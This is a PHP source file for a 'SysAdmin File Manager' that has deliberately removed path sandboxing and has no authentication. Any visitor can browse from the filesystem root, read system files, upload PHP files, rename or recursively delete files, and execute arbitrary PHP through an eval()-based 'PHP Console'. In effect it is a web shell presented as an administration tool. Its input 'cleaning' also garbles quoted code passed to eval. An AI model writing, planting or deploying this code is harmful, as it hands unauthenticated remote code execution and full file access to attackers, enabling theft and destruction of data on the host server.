<?php
/**
 * SysAdmin File Manager - Global Access Version
 * 
 * Changes:
 * 1. Set 'root_dir' to system root ('/') for full access.
 * 2. Removed path restriction logic (sandbox) to allow navigation anywhere.
 * 3. Fixed "Access Denied" error when opening system folders.
 * 4. Improved breadcrumb handling for absolute paths.
 */

// --- Configuration ---
 $config = array(
    'app_name' => "SysAdmin File Manager",
    'session_duration' => 3600 * 24 * 7,
    'debug_mode' => false,
    // Set to '/' for full root access, or null to limit to current script directory
    'root_dir' => '/', 
    'allowed_extensions' => array('txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'jpg', 'jpeg', 'png', 'gif', 'php', 'html', 'zip', 'json', 'xml', 'css', 'js', 'sql', 'log', 'ini'),
    'max_upload_size' => 100 * 1024 * 1024 // 100MB
);

// --- Initialization ---
@set_time_limit(0);
define('DS', DIRECTORY_SEPARATOR);

// Session Setup
if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => $config['session_duration'],
        'path' => '/',
        'secure' => isset($_SERVER['HTTPS']),
        'httponly' => true,
        'samesite' => 'Strict'
    ]);
    session_start();
}

// Security Token
if (empty($_SESSION['security_token'])) {
    $_SESSION['security_token'] = bin2hex(random_bytes(32));
}
 $security_token = $_SESSION['security_token'];

// --- Helper Functions ---

function clean_input($data) {
    if (is_array($data)) return array_map('clean_input', $data);
    return htmlspecialchars(stripslashes($data), ENT_QUOTES, 'UTF-8');
}

 $_GET = clean_input($_GET);
 $_POST = clean_input($_POST);

// Error Reporting
if ($config['debug_mode']) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

function verify_token($token) {
    return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}

function format_size($size) {
    if ($size <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($size, 1024);
    return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}

function get_perms($file) {
    if (!file_exists($file)) return '---------';
    $perms = fileperms($file);
    $info = '';
    switch ($perms & 0xF000) {
        case 0xC000: $info = 's'; break;
        case 0xA000: $info = 'l'; break;
        case 0x8000: $info = '-'; break;
        case 0x6000: $info = 'b'; break;
        case 0x4000: $info = 'd'; break;
        default: $info = 'u';
    }
    // Owner
    $info .= (($perms & 00400) ? 'r' : '-');
    $info .= (($perms & 00200) ? 'w' : '-');
    $info .= (($perms & 00100) ? 'x' : '-');
    // Group
    $info .= (($perms & 00040) ? 'r' : '-');
    $info .= (($perms & 00020) ? 'w' : '-');
    $info .= (($perms & 00010) ? 'x' : '-');
    // World
    $info .= (($perms & 00004) ? 'r' : '-');
    $info .= (($perms & 00002) ? 'w' : '-');
    $info .= (($perms & 00001) ? 'x' : '-');
    return $info;
}

function get_owner_name($file) {
    if (function_exists('posix_getpwuid')) {
        $owner = @posix_getpwuid(fileowner($file));
        $group = @posix_getgrgid(filegroup($file));
        return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A');
    }
    return 'N/A';
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!delete_directory($dir . DS . $item)) return false;
    }
    return @rmdir($dir);
}

// --- Core Logic ---

 $self = basename($_SERVER['PHP_SELF']);
 $message = '';
 $message_type = 'info';

// Determine base start
 $script_dir = __DIR__;
if ($config['root_dir']) {
    // Use configured root, resolve to realpath if exists
    $base_start = realpath($config['root_dir']); 
    if ($base_start === false) $base_start = DS; // Fallback to system root if path invalid
} else {
    $base_start = $script_dir;
}

// Default current dir
 $current_dir = $base_start;

// Restore session directory if valid
if (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
    $current_dir = $_SESSION['current_dir'];
}

// Resolve real path
 $current_dir_real = realpath($current_dir);
// If path invalid, fallback to base start
if ($current_dir_real === false) {
    $current_dir_real = $base_start;
}

// --- REMOVED RESTRICTION: We no longer force current_dir to stay inside base_start ---
// This allows navigating to /etc, /var, etc.
// Security Note: Ensure PHP user permissions are correctly set on the server.

// --- Handle POST (Actions) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!verify_token($_POST['security_token'] ?? '')) {
        $message = "Invalid Security Token.";
        $message_type = 'error';
    } else {
        // UPLOAD
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $file_info = pathinfo($_FILES['upload_file']['name']);
            $ext = strtolower($file_info['extension'] ?? '');
            
            if (in_array($ext, $config['allowed_extensions']) || empty($config['allowed_extensions'])) {
                $dest = $current_dir_real . DS . basename($_FILES['upload_file']['name']);
                
                if (!is_writable($current_dir_real)) {
                    @chmod($current_dir_real, 0755);
                }
                
                if (is_writable($current_dir_real)) {
                    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) {
                        $message = "File uploaded successfully.";
                        $message_type = 'success';
                        @chmod($dest, 0644);
                    } else {
                        $message = "Failed to move file. Check PHP temporary directory permissions.";
                        $message_type = 'error';
                    }
                } else {
                    $owner = get_owner_name($current_dir_real);
                    $process_user = function_exists('get_current_user') ? get_current_user() : 'PHP User';
                    $message = "Permission Denied. Folder owned by '$owner', but PHP running as '$process_user'.";
                    $message_type = 'error';
                }
            } else {
                $message = "Extension '$ext' not allowed.";
                $message_type = 'error';
            }
        }

        // CREATE DIR
        if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
            $dir_name = basename($_POST['mkdir']);
            $new_path = $current_dir_real . DS . $dir_name;
            if (!file_exists($new_path)) {
                if (!is_writable($current_dir_real)) @chmod($current_dir_real, 0755);
                if (@mkdir($new_path, 0755)) {
                    $message = "Folder created.";
                    $message_type = 'success';
                } else {
                    $message = "Failed to create folder (Permission denied).";
                    $message_type = 'error';
                }
            } else {
                $message = "Folder already exists.";
                $message_type = 'error';
            }
        }

        // RENAME
        if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_path = $current_dir_real . DS . basename($_POST['rename_from']);
            $new_path = $current_dir_real . DS . basename($_POST['rename_to']);
            
            if (file_exists($old_path)) {
                if (@rename($old_path, $new_path)) {
                    $message = "Renamed successfully.";
                    $message_type = 'success';
                } else {
                    $message = "Rename failed (Permission denied).";
                    $message_type = 'error';
                }
            } else {
                $message = "Source not found.";
                $message_type = 'error';
            }
        }

        // PHP CONSOLE
        if (isset($_POST['php_code']) && !empty($_POST['php_code'])) {
            ob_start();
            try {
                eval($_POST['php_code']);
                $cmd_output = ob_get_clean();
            } catch (Throwable $e) {
                $cmd_output = "Error: " . $e->getMessage();
            }
        }
    }
}

// --- Handle GET (Navigation & Delete) ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // Navigation
    if (isset($_GET['cd'])) {
        $requested = $_GET['cd'];
        $target_real = realpath($requested);
        
        // Check if valid dir, but DO NOT restrict to base_start
        if ($target_real && is_dir($target_real)) {
            $current_dir = $target_real;
            $current_dir_real = $target_real;
            $_SESSION['current_dir'] = $current_dir;
        } else {
            $message = "Directory not found or inaccessible.";
            $message_type = 'error';
        }
    }
    
    // DELETE
    if (isset($_GET['delete']) && isset($_GET['confirm_token'])) {
        if (verify_token($_GET['confirm_token'])) {
            $target_name = basename($_GET['delete']);
            $target_path = $current_dir_real . DS . $target_name;
            
            $target_real = realpath($target_path);
            
            if ($target_real && file_exists($target_real)) {
                if (is_dir($target_real)) {
                    if (delete_directory($target_real)) {
                        $message = "Directory deleted.";
                        $message_type = 'success';
                    } else {
                        $message = "Failed to delete directory (Permission denied).";
                        $message_type = 'error';
                    }
                } else {
                    if (@unlink($target_real)) {
                        $message = "File deleted.";
                        $message_type = 'success';
                    } else {
                        $message = "Failed to delete file (Permission denied).";
                        $message_type = 'error';
                    }
                }
            } else {
                $message = "Invalid path.";
                $message_type = 'error';
            }
        } else {
            $message = "Invalid token.";
            $message_type = 'error';
        }
    }

    // VIEW FILE
    if (isset($_GET['view'])) {
        $file = basename($_GET['view']);
        $path = $current_dir_real . DS . $file;
        $real_path = realpath($path);
        
        if ($real_path && is_file($real_path)) {
            $content = @file_get_contents($real_path);
            if ($content === false) {
                $view_content = "Cannot read file (Permission denied).";
            } else {
                if (preg_match('~[^\x20-\x7E\t\r\n]~', $content)) {
                    $view_content = "Binary file or non-UTF-8 content.";
                    $mime = @mime_content_type($real_path);
                    if ($mime && strpos($mime, 'image/') === 0) {
                         $view_content = "<img src='data:$mime;base64,".base64_encode($content)."' style='max-width:100%;'>";
                    }
                } else {
                    $view_content = "<pre>" . htmlspecialchars($content) . "</pre>";
                }
            }
        } else {
            $view_content = "File not accessible.";
        }
    }
}

// --- Breadcrumb Generation ---
function create_breadcrumbs($path) {
    global $self, $security_token;
    $parts = explode(DS, $path);
    $build = '';
    $html = '<nav class="breadcrumbs">';
    
    // Root link
    $html .= '<a href="?cd=' . urlencode(DS) . '&security_token='.$security_token.'" class="crumb-root">/ (Root)</a>';
    
    // Remove empty first element if absolute path
    if (empty($parts[0])) array_shift($parts);
    
    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $build .= DS . $part;
        $html .= ' <span class="crumb-sep">/</span> ';
        if ($i === count($parts) - 1) {
            $html .= '<span class="crumb-current">' . htmlspecialchars($part) . '</span>';
        } else {
            $html .= '<a href="?cd='.urlencode($build).'&security_token='.$security_token.'" class="crumb-link">' . htmlspecialchars($part) . '</a>';
        }
    }
    $html .= '</nav>';
    return $html;
}

 $parent_dir = dirname($current_dir_real);
// Always allow going up unless we are at the root
 $has_parent = ($parent_dir !== $current_dir_real);

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $config['app_name']; ?></title>
    <style>
        :root {
            --primary: #2563eb; --primary-hover: #1d4ed8; --bg-body: #f1f5f9;
            --bg-card: #ffffff; --text-main: #1e293b; --text-muted: #64748b;
            --border: #e2e8f0; --danger: #ef4444; --success: #10b981;
        }
        body { font-family: 'Segoe UI', system-ui, sans-serif; background: var(--bg-body); color: var(--text-main); margin: 0; padding: 20px; line-height: 1.5; }
        .container { max-width: 1100px; margin: 0 auto; background: var(--bg-card); border-radius: 12px; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1); overflow: hidden; }
        .header { background: var(--primary); color: white; padding: 20px 25px; display: flex; justify-content: space-between; align-items: center; }
        .header h1 { margin: 0; font-size: 1.25rem; font-weight: 600; }
        .header .meta { font-size: 0.8rem; opacity: 0.8; text-align: right; }
        .top-bar { padding: 15px 25px; border-bottom: 1px solid var(--border); background: #f8fafc; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; }
        .breadcrumbs { font-size: 0.9rem; color: var(--text-muted); overflow-x: auto; white-space: nowrap; }
        .crumb-link, .crumb-root { color: var(--primary); text-decoration: none; font-weight: 500; }
        .crumb-current { color: var(--text-main); font-weight: 700; }
        .crumb-sep { margin: 0 5px; color: #cbd5e1; }
        .actions { display: flex; gap: 10px; flex-wrap: wrap; }
        .btn { padding: 8px 16px; border-radius: 6px; border: none; font-size: 0.9rem; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 6px; transition: 0.2s; white-space: nowrap; }
        .btn-primary { background: var(--primary); color: white; } .btn-primary:hover { background: var(--primary-hover); }
        .btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); } .btn-secondary:hover { background: #f1f5f9; }
        .btn-danger { background: var(--danger); color: white; }
        .content { padding: 25px; }
        .file-table { width: 100%; border-collapse: collapse; font-size: 0.9rem; }
        .file-table th { text-align: left; padding: 12px 15px; border-bottom: 2px solid var(--border); color: var(--text-muted); font-weight: 600; background: #f8fafc; }
        .file-table td { padding: 10px 15px; border-bottom: 1px solid var(--border); vertical-align: middle; }
        .file-table tr:hover { background: #f8fafc; }
        .file-name { font-weight: 500; color: var(--text-main); text-decoration: none; display: inline-flex; align-items: center; gap: 8px; }
        .file-name:hover { color: var(--primary); }
        .icon-dir { color: #f59e0b; } .icon-file { color: #94a3b8; }
        .action-link { color: var(--text-muted); margin-right: 10px; font-size: 0.85rem; text-decoration: none; cursor: pointer; }
        .action-link:hover { color: var(--primary); text-decoration: underline; }
        .action-delete { color: var(--danger); }
        .form-panel { background: #f8fafc; border: 1px solid var(--border); padding: 20px; border-radius: 8px; margin-bottom: 20px; }
        .form-row { display: flex; gap: 10px; align-items: center; }
        .input-control { padding: 8px 12px; border: 1px solid var(--border); border-radius: 6px; font-size: 0.9rem; flex: 1; }
        .terminal-box { background: #1e293b; color: #e2e8f0; padding: 15px; border-radius: 8px; font-family: monospace; }
        .terminal-output { white-space: pre-wrap; margin-bottom: 10px; max-height: 400px; overflow-y: auto; color: #22d3ee; }
        .toast-container { position: fixed; top: 20px; right: 20px; z-index: 9999; }
        .toast { background: white; padding: 15px 20px; border-radius: 8px; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1); margin-bottom: 10px; border-left: 4px solid var(--primary); animation: slideIn 0.3s ease; display: flex; align-items: center; gap: 10px; }
        .toast.success { border-left-color: var(--success); } .toast.error { border-left-color: var(--danger); }
        .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; display: none; align-items: center; justify-content: center; }
        .modal { background: white; padding: 25px; border-radius: 8px; width: 400px; max-width: 90%; }
        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <h1><?php echo $config['app_name']; ?></h1>
        <div class="meta">
            Server: <?php echo php_uname('s'); ?> | PHP: <?php echo PHP_VERSION; ?>
        </div>
    </div>

    <div class="top-bar">
        <?php echo create_breadcrumbs($current_dir_real); ?>
        
        <div class="actions">
            <a href="?" class="btn btn-secondary">📂 Files</a>
            <a href="?action=upload" class="btn btn-secondary">📤 Upload</a>
            <a href="?action=terminal" class="btn btn-secondary">💻 PHP Console</a>
            
            <?php if ($has_parent): ?>
                <a href="?cd=<?php echo urlencode($parent_dir); ?>&security_token=<?php echo $security_token; ?>" class="btn btn-secondary">⬆ Up</a>
            <?php endif; ?>
        </div>
    </div>

    <div class="content">
        <div class="toast-container" id="toastContainer">
            <?php if ($message): ?>
            <div class="toast <?php echo $message_type; ?>">
                <span><?php echo $message; ?></span>
            </div>
            <?php endif; ?>
        </div>

        <?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?>
            <div class="form-panel">
                <h3>Upload File</h3>
                <p style="font-size:0.9rem; color:var(--text-muted)">Target: <?php echo htmlspecialchars($current_dir_real); ?></p>
                <form method="post" enctype="multipart/form-data">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <div class="form-row">
                        <input type="file" name="upload_file" class="input-control" required>
                        <button type="submit" class="btn btn-primary">Upload</button>
                    </div>
                </form>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'terminal'): ?>
             <div class="form-panel" style="background: #0f172a; border-color: #334155;">
                <div class="terminal-box">
                    <div class="terminal-output"><?php if(isset($cmd_output)) echo htmlspecialchars($cmd_output); else echo "// PHP Console Output"; ?></div>
                    <form method="post" class="form-row" style="margin-top:10px;">
                        <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                        <span style="color:#fff">$php</span>
                        <input type="text" name="php_code" class="input-control" style="background:transparent; border:none; color:#fff; font-family:monospace;" placeholder="echo 'Hello World';" autofocus autocomplete="off">
                    </form>
                </div>
                <small style="color:#94a3b8; display:block; margin-top:5px;">Note: Run PHP code safely. Example: print_r(scandir('.'));</small>
            </div>

        <?php elseif (isset($_GET['action']) && $_GET['action'] == 'view' && isset($view_content)): ?>
            <div class="form-panel">
                <h3>View: <?php echo htmlspecialchars($_GET['view']); ?></h3>
                <div style="background:white; padding:15px; border:1px solid #e2e8f0; border-radius:4px; overflow-x:auto;">
                    <?php echo $view_content; ?>
                </div>
                <div style="margin-top:15px;">
                    <a href="?" class="btn btn-secondary">Close</a>
                </div>
            </div>

        <?php else: ?>
            <div style="margin-bottom: 20px; display: flex; gap: 10px;">
                <form method="post" class="form-row" style="flex:1; max-width:400px;">
                    <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
                    <input type="text" name="mkdir" class="input-control" placeholder="New Folder Name" required>
                    <button type="submit" class="btn btn-primary">+ Create</button>
                </form>
            </div>

            <table class="file-table">
                <thead>
                    <tr>
                        <th width="40%">Name</th>
                        <th width="10%">Size</th>
                        <th width="15%">Perms / Owner</th>
                        <th width="20%">Modified</th>
                        <th width="15%">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $files = @scandir($current_dir_real);
                    if ($files === false) {
                        echo "<tr><td colspan='5' style='text-align:center; padding:20px; color:var(--danger);'>Cannot read directory (Permission Denied).</td></tr>";
                    } else {
                        $dirs = [];
                        $items = [];
                        
                        foreach ($files as $f) {
                            if ($f === '.' || $f === '..') continue;
                            $path = $current_dir_real . DS . $f;
                            if (is_dir($path)) $dirs[$f] = $path;
                            else $items[$f] = $path;
                        }
                        
                        ksort($dirs);
                        ksort($items);
                        $all_files = $dirs + $items;

                        foreach ($all_files as $name => $path) {
                            $is_dir = is_dir($path);
                            $icon = $is_dir ? '<span class="icon-dir">📁</span>' : '<span class="icon-file">📄</span>';
                            $size = $is_dir ? '-' : format_size(@filesize($path));
                            $perms = get_perms($path);
                            $owner = get_owner_name($path);
                            $time = date('Y-m-d H:i', @filemtime($path));
                            
                            $link_url = $is_dir ? '?cd='.urlencode($path).'&security_token='.$security_token : '?view='.urlencode($name);
                            
                            $safe_name = htmlspecialchars($name);
                            $safe_name_js = addslashes($name);
                            ?>
                            <tr>
                                <td>
                                    <a href="<?php echo $link_url; ?>" class="file-name">
                                        <?php echo $icon; ?> <?php echo $safe_name; ?>
                                    </a>
                                </td>
                                <td><?php echo $size; ?></td>
                                <td style="font-family:monospace; font-size:0.8em; color:var(--text-muted);">
                                    <?php echo $perms; ?><br>
                                    <span style="color:#64748b;"><?php echo $owner; ?></span>
                                </td>
                                <td style="color:var(--text-muted);"><?php echo $time; ?></td>
                                <td>
                                    <?php if (!$is_dir): ?>
                                        <a href="?view=<?php echo urlencode($name); ?>" class="action-link">View</a>
                                    <?php endif; ?>
                                    <a onclick="promptRename('<?php echo $safe_name_js; ?>')" class="action-link">Rename</a>
                                    <a onclick="confirmDelete('<?php echo $safe_name_js; ?>')" class="action-link action-delete">Delete</a>
                                </td>
                            </tr>
                            <?php
                        }
                        
                        if (empty($all_files)) {
                            echo "<tr><td colspan='5' style='text-align:center; padding:20px; color:var(--text-muted);'>Folder is empty</td></tr>";
                        }
                    }
                    ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
</div>

<div class="modal-overlay" id="deleteModal">
    <div class="modal">
        <h3 style="margin-top:0">Confirm Delete</h3>
        <p>Are you sure you want to delete <b id="deleteItemName"></b>?</p>
        <div style="text-align:right; margin-top:20px;">
            <button class="btn btn-secondary" onclick="closeModal('deleteModal')">Cancel</button>
            <button class="btn btn-danger" id="confirmDeleteBtn">Delete</button>
        </div>
    </div>
</div>

<script>
function promptRename(oldName) {
    const newName = prompt("Rename " + oldName + " to:", oldName);
    if (newName && newName !== oldName) {
        const form = document.createElement('form');
        form.method = 'POST';
        form.innerHTML = `
            <input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
            <input type="hidden" name="rename_from" value="${oldName}">
            <input type="hidden" name="rename_to" value="${newName}">
        `;
        document.body.appendChild(form);
        form.submit();
    }
}

let deleteTarget = '';
function confirmDelete(name) {
    deleteTarget = name;
    document.getElementById('deleteItemName').textContent = name;
    document.getElementById('deleteModal').style.display = 'flex';
}

document.getElementById('confirmDeleteBtn').onclick = function() {
    if(deleteTarget) {
        window.location.href = `?delete=${encodeURIComponent(deleteTarget)}&confirm_token=<?php echo $security_token; ?>`;
    }
};

function closeModal(id) { document.getElementById(id).style.display = 'none'; }

// Auto hide toasts
setTimeout(() => {
    document.querySelectorAll('.toast').forEach(el => {
        el.style.opacity = '0';
        setTimeout(() => el.remove(), 500);
    });
}, 4000);
</script>
</body>
</html>